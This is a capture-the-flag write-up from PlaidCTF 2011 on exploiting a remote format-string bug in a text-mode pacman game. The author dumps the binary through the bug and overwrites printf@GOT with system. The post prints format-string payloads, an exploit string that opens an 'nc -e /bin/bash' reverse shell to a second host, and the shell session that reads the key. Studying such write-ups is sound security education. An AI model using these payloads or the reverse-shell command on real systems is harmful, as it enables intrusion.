Apr
26

## PlaidCTF 2011 #25 – PC Rogue (600)

Category: pwnables

Amalgamated has banned the use of Solitaire due to loss of productivity.
The only employee who would write a new game for everyone only likes ‘retro’ games, and has placed a text-adventure version of pacman on a company server.
We don’t believe he could have coded this securely, and the server contains a vital key.
Connect to the game here and find the key.

nc a9.amalgamated.biz 60123

Summary: remote formatstring vulnerability, without binary

### Looking around

This task is a text-mode pacman without enemies. You can move along the map, and take pills and powerpills. Also it’s 8bit emulation and you can’t take a powerpill when it increases powerpoins greater than 127. I haven’t found any bugs at first, so I decided to write a bot for scanning the map. It is stupid enough, but it covers the whole map :) bot.py

Unhappily, when I ate all pills, nothing had happened:

Later, I looked through the whole game (png’s in the ‘game’ folder) and noticed, that powerpills can be -128 and do not decrease when they are negative. 118th turn:

Oops, the ‘Item’ field is “take”. Why?

You can have noticed, this field depends on the value of POWERPOINTS. So it should be something like this:

puts(Messages[POWERPOINTS])

And when POWERPOINTS are negative, this code prints something from user input. Looks like it is probable to be formatstring vulnerability: printf(Messages[POWERPOINTS]). Let’s check! But first, we didn’t know which “take” is printed. I tried to change the first one and it worked:

pacman $(echo "fake"; head -n 118 history.txt) | nc a9.amalgamated.biz 60123 ... STATUS: Item: fake POWERPOINTS:-128 ... Ok, let’s try some format: pacman$ (echo "hey, %08x"; head -n 118 history.txt) |
nc a9.amalgamated.biz 60123
...
STATUS:
Item: hey, bfec4e54
POWERPOINTS:-128
...

YES! It’s format string!

### Dumping binary

What now? We don’t have a binary, so it’s unreal to exploit it. Let’s dump it via “%s” format. Why “%s”? Because it’s the only one, which allows printing data from arbitrary address.

First, we need to found number of argument to printf, which points to our buffer. It’s easy:

AAAABBBBCCCC%11$08x prints AAAABBBBCCCC43434343, so %11$ points to CCCC. We can dump the binary with such format strings:

AAAABBBB\x01\x80\x04\x08%11$s prints “AAAABBBB\x01\x80\x04\x08ELF…” Here is a script for that. It is rather slow, but it works. When dumped, we should patch the first byte from 00 to 7F (standard ELF header). ### Exploiting Well, the dumped binary is rather corrupted, but we can find some useful things. A good idea is to find a piece of code where the format string bug is present. It is just after printing “Item”, so let’s find this string, and a xref to it: LOAD:0804ADC7 aItem db 0Ah ; DATA XREF: main+99o LOAD:0804ADC7 db 'Item: ',0  LOAD:080496B2 mov dword ptr [esp], offset aStatus ; "\n\nSTATUS:" LOAD:080496B9 call sub_804843C LOAD:080496BE mov dword ptr [esp], offset aItem ; "\nItem: " LOAD:080496C5 call sub_804843C LOAD:080496CA movzx eax, byte ptr [ebp-0E2h] LOAD:080496D1 movsx eax, al LOAD:080496D4 mov eax, [ebp+eax*4-2E4h] LOAD:080496DB mov [esp], eax LOAD:080496DE call sub_804843C LOAD:080496E3 movzx eax, byte ptr [ebp-0E2h] LOAD:080496EA movsx eax, al LOAD:080496ED mov [esp+4], eax LOAD:080496F1 mov dword ptr [esp], offset aP ; "\nPOWERPOINTS:%d" LOAD:080496F8 call sub_804843C  sub_804843C appears to be printf. It’s nice target for overwriting at GOT! Let’s find printf@GOT: LOAD:0804843C sub_804843C proc near LOAD:0804843C jmp off_804BF20  Ok, printf@GOT is 804BF20. If we overwrite it with system address, the program will do system("POWERPOINTS: %d") and other strings, and it will fail. But after the next turn, it will do system(our_format_string). But how do we know system address? Maybe you have noticed a string “Command limit reached. Reseting command buffer.”. Looks like it allows us to make a second format string without reconnect. The buffer is resetted after each 127 commands, so the second format string must be 128th command. So exploit is: • got current printf address with the first format string • calculate corresponding system address; offset can be got from a5 host (gdb: p/x &printf – &system) • send a format string which begins with argument to system and overwrites printf@got to system. My exploit is here. pacman$ py exploit.py
Format string:
' nc a5.amalgamated.biz 3123 -e /bin/bash & #     \xbf\x04\x08"\xbf\x04\x08%12616u%21$hn%34299u%22$hn'
20bf0408 0x3180L
22bf0408 0xb77bL
Worked!


And listening netcat at a5:

z2_1@a5:~\$ nc -lvp 3123
listening on [any] 3123 ...
connect to [128.237.157.38] from AMALGAMATED-9.CLUB.CC.CMU.EDU [128.237.157.79] 47105
id
uid=1005(pc) gid=1006(pc) groups=1006(pc)
cat /home/pc/key
true8_bit_is_best_bit


The flag: true8_bit_is_best_bit

PS: if you want to try it, I have saved original binary

1. ##### NighterMan says:

You guys are fucking sick, coding a bot to map the dungeon, lol
Awsome job!!!

2. ##### StalkR says:

Very nice write-up and good job!

Awesome work

4. ##### Nickname says:

Thanks for the Writeup :)